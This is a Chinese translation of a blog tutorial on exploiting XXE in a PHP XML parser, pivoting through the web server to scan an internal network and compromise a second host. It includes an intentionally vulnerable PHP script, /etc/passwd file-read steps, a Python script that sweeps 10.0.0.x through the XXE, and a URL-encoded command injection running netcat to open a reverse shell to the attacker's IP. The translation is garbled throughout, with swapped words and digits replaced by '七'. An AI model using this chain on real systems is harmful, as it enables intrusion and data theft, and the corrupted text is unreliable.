|
|
|
联系客服020-83701501

XXE漏洞利用的一些技巧

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
XXE裂痕操纵的1些本领

近期碰着1个XXE关连标题,多方寻找材料。从OWASP文档中得悉,攻打者或者应用受信认应用跳转到别的外部零碎,通过http(s)申请或应用CSRF攻打未受维护的外部零碎得到外部零碎新闻。

0x01

现目前许多XML剖析器完成都存在XXE操纵。观察如下PHP剧本,其剖析XML当前再遏制发送,开头将后果返回给用户。将该剧本命名为NEWXXE.php并将其放入我的web根目次下CUSTOM目次中。虽说该剧本切实不遏制任何操纵,但是管它呢,我们只是将其作为1个蹊径来观察剖析器本身的标题。
WEBSVR01中调度该php剧本
<?php $xmlfile = file
getcontents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXMLNOENT | LIBXMLDTDLOAD); $xml = simplexmlimport_dom($dom); $stuff = $xml->stuff;

$str = "$stuff \n";

echo $str; ?>如果你想本身动手遏制测试,或者将上面的剧本放入PHP就事器上(起首确保你已经调度了php-xml) 接上来树立1个搜罗以下模式的xml文件作为申请发送到就事器,我将其命名为send.txt今后将其从WEBSVR01发送到本地。This is my stuff 将申请发送给WEBSVR01即本地就事器,如下:
image留意观察返回的响应
该剧本运转畸形,吻合我们的预期。接上来便或者忧虑搞剖析器了。

0x02

对send.txt遏制如下修改
image

这是1个模范的XXE攻打,关于验证裂痕来说也很不错。如果1切运转畸形,你理应或者得到/etc/passwd的转储新闻。
从WEBSVR01再次发包到本地
image
XXE另外1个坚守就是树立HTTP申请
image
在WEBSVR01上封闭python SimpleHTTPServer(8888端口)
image

python http server:
image

不错,我们或者发送http申请
我或者从远端操纵该裂痕并得到1些Internet新闻。从上面这张示妄想中,你或者得悉该裂痕存在与互联网中的web就事器上,这里我们或者将其作为1个跳板应用。
我得到web就事器(34.200.15七.128),这就是WEBSVR01且装配有NAT/Firewall的配备。WEBSVR01存在XXE裂痕,对其收集新闻以便作为跳板拿下WEBSRV02
image经过列举发现该主机是1台Ubuntu就事器,这里有几个行动得到其Internet新闻:
起首你或者抓取/etc/networking/interfaces,如果需要更多新闻或者看看/proc/net/route(这些值但凡16进制,有必要的话需要遏制转换)
攻打端Attack PC (Ubuntu 14 LTS),向存在裂痕的就事器发动文件申请以抓取/etc/network/interfaces
在攻打端编纂如下文件以抓取etc/passwd:
image

结构申请:
image

现寻常我们得悉了该主机外部Internet的IP操持或DMZ。
应用内网IP地址10.0.0.3通过XXE抓取该就事器上的默许页面
留意!有些字符或者会影响到XML。到目前为止我们查抄文件或许结构繁杂的http申请还没有碰着字符影响XML的情况。应用的PHP所以对返回的后果我们或者用Base64遏制解码。在攻打端修改send.txt添加以下PHP过滤。
image

发送申请
image
当前得到1串base64编码,解码当前得到页面模式。
image

0x03

将反面所述聚集起来,我们或者对web就事器的内网IP范畴遏制扫描
人生苦短,我用Python
image
import requests import base64

Origtional XML that the server accepts

user

def buildxml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """""" xml = xml + "\r\n" + """ &xxe;""" xml = xml + "\r\n" + """""" sendxml(xml)

def sendxml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://34.200.15七.128/CUSTOM/NEWXEE.php', data=xml, headers=headers, timeout=5).text codedstring = x.split(' ')[-2] # a little split to get only the base64 encoded value print codedstring

print base64.b64decode(coded_string)

for i in range(1, 255): try: i = str(i) ip = '10.0.0.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except: continue

式子内心可查抄[github](https://github.com/rschwass/SCRIPTS/blob/master/XEE_SCANNER.py) 在攻打端履行 ![image](https://ws1.sinaimg.cn/large/6de149eegy1ffeyjn1j9dj218g0七vgsl.jpg) 看看从10.0.0.4返回的数据但凡些啥(base64解码) ![image](https://wx3.sinaimg.cn/large/6de149eegy1ffeykrf6r七j218g05zdmc.jpg) CoreHTTP? exploit-db上刚好有1个exp https://www.exploit-db.com/exploits/10610/ 因为我们得到了1个ndex.pl (Perl)文件,我假设其封闭了CGI,那么该操纵就是可用的。其裂痕情理是GET申请中传送的参数,因此我们能通过XXE裂痕在外部主机出路行操纵。 经过Metasploit模块解密当前,需要发送以下模式的http申请:http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.15七.80%20133七%200%3Cbackpipe%20%七C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60 留意,34.200.15七.80是我本身的IP地址且封闭了Netcat监听器。
通过XXE裂痕触发在10.0.0.4上的操纵。
image在攻打端树立1个Netcat监听器,今后履行
image
与反弹Shell差未几,刻下当今你懂患了吧。

全文终

 

原文链接:http://www.blackhillsinfosec.com/?p=5886

译者:Avkiki

 

数安新闻+更多

证书相关+更多